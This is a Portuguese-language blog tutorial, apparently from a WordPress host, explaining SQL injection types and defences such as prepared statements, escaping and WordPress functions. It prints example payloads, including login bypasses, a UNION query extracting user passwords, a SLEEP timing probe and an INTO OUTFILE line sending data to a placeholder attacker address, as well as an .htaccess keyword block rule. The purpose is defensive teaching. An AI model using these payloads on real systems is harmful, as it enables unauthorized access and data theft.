Uma Injeção SQL é uma técnica de injeção de código que os invasores usam para explorar vulnerabilidades na camada do banco de dados de um site ou aplicativo. Se os invasores conseguirem realizar uma Injeção SQL, eles poderão obter acesso ao banco de dados.

Se você entender como esses ataques funcionam, estará mais bem equipado para evitá-los. Dessa forma, você poderá manter seu site e seus clientes seguros.

Nesta publicação, exploraremos os diferentes tipos de injeções SQL. Também mostraremos como você pode proteger seu site contra esses ataques. Vamos começar!

O que é Injeção SQL?

Linguagem de Consulta Estruturada (SQL – Structured Query Language) é uma linguagem que nos permite interagir com bancos de dados. Os aplicativos modernos da web usam bancos de dados para gerenciar dados e exibir conteúdo dinâmico aos leitores.

A Injeção SQL (ou SQLi) ocorre quando um usuário tenta inserir instruções SQL mal-intencionadas em um aplicativo da web. Se for bem-sucedido, ele poderá acessar dados confidenciais no banco de dados.

Em 2023, as injeções SQL continuam sendo um dos ataques mais comuns na web. Somente em 2022, 1162 vulnerabilidades de Injeção SQL foram adicionadas ao banco de dados de segurança CVE.

A boa notícia é que as injeções SQL não são tão predominantes como antes. A maioria dos aplicativos evoluiu para se proteger contra ataques de SQL.

Em 2012, 97% de todas as violações de dados foram causadas por injeções SQL. Atualmente, esse número ainda é alto, mas muito mais gerenciável.

Como funciona a vulnerabilidade de Injeção SQL?

Uma vulnerabilidade de Injeção SQL dá a um invasor acesso completo ao banco de dados do seu aplicativo por meio do uso de instruções SQL mal-intencionadas.

Vamos dar uma olhada em um exemplo de aplicativo vulnerável.

Imagine o fluxo de trabalho de um aplicativo web típico que envolve solicitações de banco de dados por meio de entradas do usuário. Você recebe a entrada do usuário por meio de um formulário, por exemplo, um formulário de login. Em seguida, você consulta o banco de dados com os campos enviados pelo usuário para autenticá-lo. A estrutura da consulta ao seu banco de dados é mais ou menos assim:

select * from user_table
where username = 'sdaityari'
and password = 'mypassword';

Para simplificar, vamos supor que você esteja armazenando suas senhas como texto simples. No entanto, é uma boa prática usar o “salt” para as suas senhas e depois fazer o hash delas. Continuando, se você tiver recebido o nome de usuário e a senha do formulário, poderá definir a consulta em PHP da seguinte forma:

// Connect to SQL database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execute query

Se alguém inserir o valor “admin’;–” no campo de nome de usuário, a consulta SQL resultante que a variável $db_query gerará será a seguinte:

select * from user_table where
username = 'admin';--' and password = 'mypassword'

O que essa consulta faz?

No SQL, o símbolo — inicia um comentário, portanto, tudo o que vem depois dele é ignorado. Isso efetivamente remove a verificação de senha da consulta. Como resultado, se “admin” for um nome de usuário válido, o invasor poderá fazer login sem saber a senha. Isso é, pelo menos, se você não tiver nenhuma segurança contra esses tipos de ataques.

Como alternativa, um ataque booleano também pode ser usado neste exemplo para obter acesso. Se um invasor digitar “password’ ou 1=1;-” no campo de senha, a consulta resultante será a seguinte:

select * from user_table where
username = 'admin' and
password = 'password' or 1=1;--';

Nesse caso, mesmo que sua senha esteja errada, você será autenticado no aplicativo. Se a sua página da web exibir os resultados da consulta ao banco de dados, um invasor poderá usar o comando para mostrar tabelas, o comando para exibir as tabelas no banco de dados e, em seguida, excluir seletivamente as tabelas, se assim desejar.

Um desenho animado sobre Injeção SQL
Um desenho animado sobre Injeção SQL (Fonte: XKCD)

Exploits of a Mom, uma popular história em quadrinhos do XKCD, mostra a conversa de uma mãe com a escola do seu filho, na qual ela é questionada se realmente deu ao filho o nome de “Robert’); DROP TABLE Students; -“.

Tipos de Injeção SQL

Agora que você conhece os conceitos básicos de uma vulnerabilidade de Injeção SQL, vamos explorar os vários tipos de ataques de Injeção SQL e o motivo por trás de cada um deles.

Injeção SQL In-Band

A Injeção SQL In-Band é a forma mais simples de Injeção SQL. Nesse processo, o invasor pode usar o mesmo canal para inserir o código SQL malicioso no aplicativo e coletar os resultados.

Vamos dar uma olhada em duas formas de ataques de Injeção SQL In-Band.

Ataque baseado em erro

Um ataque baseado em erro ocorre quando alguém manipula intencionalmente a consulta SQL para gerar um erro no banco de dados. A mensagem de erro retornada pelo banco de dados geralmente inclui informações sobre a estrutura do banco de dados, que o invasor pode usar para explorar ainda mais o sistema.

Por exemplo, um invasor pode inserir ‘ OR ‘1’=’1 em um campo de formulário. Se o aplicativo for vulnerável, ele poderá retornar uma mensagem de erro que revela informações sobre o banco de dados.

Ataque baseado em união

Os ataques de Injeção SQL baseados em união usam o operador SQL UNION para combinar os resultados da consulta original com os resultados de consultas maliciosas injetadas.

Isso permite que o invasor recupere informações de outras tabelas do banco de dados:

select title, link from post_table
where id < 10
union
select username, password
from user_table; --;

Nessa consulta, o operador UNION combina os resultados da consulta original com os resultados de SELECT username, password FROM user_table. Se o aplicativo for vulnerável e não tratar adequadamente a entrada do usuário, ela pode retornar uma página que inclui nomes de usuário e senhas da tabela de usuários.

Injeção SQL inferencial (Injeção SQL cega)

Mesmo que um invasor gere um erro na consulta SQL, a resposta da consulta pode não ser transmitida diretamente para a página da web. Nesse caso, o invasor precisará fazer uma sondagem adicional.

Nessa forma de Injeção SQL, o invasor envia várias consultas ao banco de dados para avaliar como o aplicativo analisa essas respostas. Uma Injeção SQL inferencial às vezes também é conhecida como Injeção SQL cega.

Veremos a seguir dois tipos de injeções SQL inferenciais: injeção SQL booleana e injeção SQL baseada em tempo.

Ataque booleano

Se uma consulta SQL resultar em um erro que não tenha sido tratado internamente no aplicativo, a página da web resultante poderá gerar um erro, carregar uma página em branco ou carregar parcialmente. Em uma Injeção SQL booleana, um invasor avalia quais partes da entrada de um usuário são vulneráveis a injeções SQL, tentando duas versões diferentes de uma cláusula booleana na entrada:

  • “… e 1=1”
  • “… e 1=2”

Essas consultas são projetadas para ter uma condição que será verdadeira ou falsa. Se a condição for verdadeira, a página será carregada normalmente. Se for falsa, a página poderá carregar de forma diferente ou mostrar um erro.

Ao observar como a página é carregada, o invasor pode determinar se a condição era verdadeira ou falsa, mesmo que não veja a consulta SQL real ou a resposta do banco de dados. Se você reunir várias condições semelhantes, poderá extrair lentamente informações do banco de dados.

Ataque baseado em tempo

Um ataque de Injeção SQL baseado em tempo pode ajudar um invasor a determinar se há uma vulnerabilidade em um aplicativo da web. Um invasor utiliza uma função baseada em tempo predefinida do sistema de gerenciamento de banco de dados que é usado pelo aplicativo. Por exemplo, no MySQL, a função sleep() instrui o banco de dados a esperar por um determinado número de segundos.

select * from comments
WHERE post_id=1-SLEEP(15);

Se essa consulta resultar em um atraso, o invasor saberá que ela é vulnerável. Essa abordagem é semelhante aos ataques booleanos, pois você não obtém uma resposta real do banco de dados. No entanto, você pode obter informações dele se o ataque for bem-sucedido.

Injeção SQL Out-of-Band

Em um ataque de Injeção SQL Out-of-Band, o invasor manipula a consulta SQL para instruir o banco de dados a transmitir dados para um servidor controlado pelo invasor. Normalmente, isso é feito por meio de funções de banco de dados que podem solicitar recursos externos, como fazer solicitações HTTP ou consultas DNS.

Um ataque de Injeção SQL fora de banda usa um recurso de processo de arquivo externo do seu DBMS. No MySQL, as funções LOAD_FILE() e INTO OUTFILE podem ser usadas para solicitar ao MySQL que transmita os dados para uma fonte externa.

Veja como um invasor pode usar OUTFILE para enviar os resultados de uma consulta a uma fonte externa:

select * from post_table
into OUTFILE '\\MALICIOUS_IP_ADDRESSlocation'

Da mesma forma, a função LOAD_FILE() pode ser usada para ler um arquivo do servidor e exibir seu conteúdo. Uma combinação de LOAD_FILE() e OUTFILE pode ser usada para ler o conteúdo de um arquivo no servidor e, em seguida, transmiti-lo para um local diferente.

Como evitar injeções SQL

Até agora, exploramos as vulnerabilidades em um aplicativo web que podem levar a ataques de Injeção SQL. Uma vulnerabilidade de Injeção SQL pode ser usada por um invasor para ler, modificar ou até mesmo remover o conteúdo do seu banco de dados.

Além disso, ela também pode permitir a leitura de um arquivo em qualquer local do servidor e a transferência do conteúdo para outro local. Nesta seção, exploraremos várias técnicas para proteger seu aplicativo web e site contra-ataques de Injeção SQL.

Neutralize entradas do usuário

De modo geral, é uma tarefa difícil determinar se uma string de caracteres do usuário é mal-intencionada ou não. Portanto, uma abordagem comum é neutralizar caracteres especiais na entrada do usuário. Esse processo pode ajudar você a se proteger contra-ataques de Injeção SQL.

No PHP, você pode neutralizar uma string de caracteres antes de criar a consulta usando a função mysqli_real_escape_string():

$unsafe_variable = $_POST["user_input"]; $safe_variable = mysqli_real_escape_string($conn, $unsafe_variable);

Ao exibir a entrada do usuário como HTML, também é importante converter caracteres especiais em seus caracteres HTML correspondentes para evitar ataques de XSS (Cross-Site Scripting). Você pode converter caracteres especiais no PHP usando a função htmlspecialchars().

Use Prepared Statements

Alternativamente, você pode usar prepared statements para evitar injeções SQL. Um prepared statement é um modelo de consulta SQL, onde você especifica parâmetros em um momento posterior para executá-la.

Aqui está um exemplo de uma prepared statement em PHP e MySQLi:

$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));

Outras medidas preventivas para evitar ataques SQL

O próximo passo para mitigar essa vulnerabilidade é limitar o acesso ao banco de dados apenas ao que é necessário.

Por exemplo, você pode conectar seu aplicativo web ao SGBD usando um usuário específico que tenha acesso apenas ao banco de dados relevante.

Além disso, você deve restringir o acesso do usuário do banco de dados a todos os outros locais do servidor. Você também pode querer bloquear determinadas palavras-chave SQL em sua URL por meio do servidor web.

Se estiver usando o Apache como servidor web, você poderá usar as seguintes linhas de código no arquivo .htaccess para mostrar um erro403 Forbidden para um possível invasor.

Você deve ter cuidado antes de usar essa técnica, pois o Apache mostrará um erro a um leitor se a URL contiver essas palavras-chave.

RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]
RewriteRule (.*) - [F]

Como dica adicional de prevenção, você deve sempre usar software atualizado. Quando uma nova versão ou um patch é lançado, os erros corrigidos na atualização são detalhados nas notas de versão. Quando os detalhes de um bug são divulgados ao público, usar uma versão antiga de qualquer software pode ser arriscado.

Injeção SQL no WordPress

Você estará protegido contra qualquer vulnerabilidade de Injeção SQL se estiver usando arquivos principais do WordPress atualizados. Entretanto, o uso de plugins e temas de terceiros sempre expõe seu site a algum nível de vulnerabilidade. Você pode reduzir bastante esse risco usando plugins e temas que recebem atualizações regulares e que seguem práticas de codificação seguras.

Seu site WordPress é tão forte quanto seu elo mais fraco. Nesta seção, exploraremos as principais considerações para mitigar a vulnerabilidade de injeção SQL no WordPress e como realizar verificações de vulnerabilidade no seu site WordPress existente.

Prevenção de vulnerabilidade de Injeção SQL para WordPress

Para mitigar a vulnerabilidade de Injeção SQL no seu tema ou plugin de WordPress, a única regra que você deve seguir é sempre usar as funções existentes do WordPress ao interagir com o banco de dados.

Essas funções são minuciosamente testadas quanto a vulnerabilidades de Injeção SQL durante o processo de desenvolvimento do WordPress. Por exemplo, se você quiser adicionar um comentário a um artigo, use a função wp_insert_comment() em vez de inserir dados diretamente na tabela wp_comments.

Embora as funções sejam extensíveis, você pode ocasionalmente precisar executar uma consulta complexa. Nesse caso, certifique-se de que você use o grupo de funções $wp_db. Você pode usar $wpdb->prepare() para neutralizar a entrada do usuário antes de criar a consulta.

Além disso, aqui está uma lista de funções para limpar dados no WordPress. Elas podem ajudar você a neutralizar tipos específicos de entradas do usuário, como e-mails e URLs.

Proteja seu site WordPress

Embora o WordPress em si seja seguro, problemas como software principal desatualizado e plugins nulled podem levar a vulnerabilidades. Embora não haja outra alternativa a verificar minuciosamente a vulnerabilidade de Injeção SQL em seu site WordPress, a complexidade de um site pode tornar essa tarefa desafiadora.

Você pode usar uma ferramenta de verificação on-line, como o WPScan. Também recomendamos que você audite seus plugins para verificar se o desenvolvimento deles foi interrompido. Se eles não forem mais mantidos, talvez não seja uma boa ideia usá-los em seu site.

Se ainda precisar usá-los, certifique-se de testar completamente seu código e funcionalidade quanto a vulnerabilidades. Além disso, certifique-se de seguir estas verificações de segurança:

  • Atualize o PHP, o núcleo do WordPress e o MySQL
  • Atualize plugins e temas de terceiros
  • Evite usar o usuário root para conectar o banco de dados SQL
  • Limite o acesso do usuário SQL a diretórios confidenciais
  • Bloqueie palavras-chave do SQL usando seu servidor
  • Mantenha backups do seu site fora do local em caso de danos irreversíveis

Aqui você encontra uma publicação detalhada sobre a segurança do WordPress e uma lista exaustiva de verificações. Além disso, você pode querer investir nestes melhores plugins de segurança para WordPress. Veja o que você deve fazer se o seu site WordPress for invadido, apesar de seus melhores esforços.

A Injeção SQL é ilegal?

Definitivamente, sim! Mesmo que haja uma vulnerabilidade real, um invasor ainda está tentando obter acesso a dados que não estariam disponíveis para ele de outra forma.

Imagine um cenário em que alguém deixa as chaves no carro. Sair dirigindo nele constitui uma infração só porque foi deixado aberto e desatendido?

O ato de SQLi se enquadra em leis diferentes em vários países. Ele se enquadra na Lei de Fraude e Abuso de Computador (1986) nos EUA e na Lei de Uso Indevido de Computador (1990) no Reino Unido.

Resumo

Injeções SQL têm sido há muito tempo um dos ataques mais comuns em todos os tipos de sites. Mesmo o WordPress não pode proteger contra a possibilidade de ataques SQL se você não tomar medidas para manter seu site seguro.

Para evitar esses ataques, você precisará:

  • Entender como funciona a vulnerabilidade de Injeção SQL
  • Explorar várias maneiras pelas quais os invasores podem usar o SQLi para obter acesso não autorizado ao seu aplicativo web
  • Implementar métodos para proteger seu site contra-ataques de SQLi, como neutralizar as entradas do usuário e usar instruções preparadas
  • Seguir uma rotina de verificação de segurança

Economize tempo e custos, além de maximizar o desempenho do site, com mais de $275 em integrações de nível empresarial incluídas em cada plano de hospedagem gerenciada de WordPress. Isso inclui um CDN de alto desempenho, proteção contra DDoS, mitigação de malware e ataques, Edge Caching e as máquinas CPU mais rápidas do Google. Comece sem contratos de longo prazo, migrações assistidas e uma garantia de devolução do dinheiro em 30 dias.

Confira nossos planos ou fale com o departamento de vendas para encontrar o plano ideal para você.

Shaumik Daityari

Shaumik é um analista de dados durante o dia e um entusiasta de quadrinhos à noite (ou talvez ele seja o Batman?) Shaumik escreve tutoriais e cria screencasts há mais de cinco anos. Quando não está trabalhando, ele está ocupado automatizando tarefas cotidianas mundanas por meio de scripts meticulosamente escritos!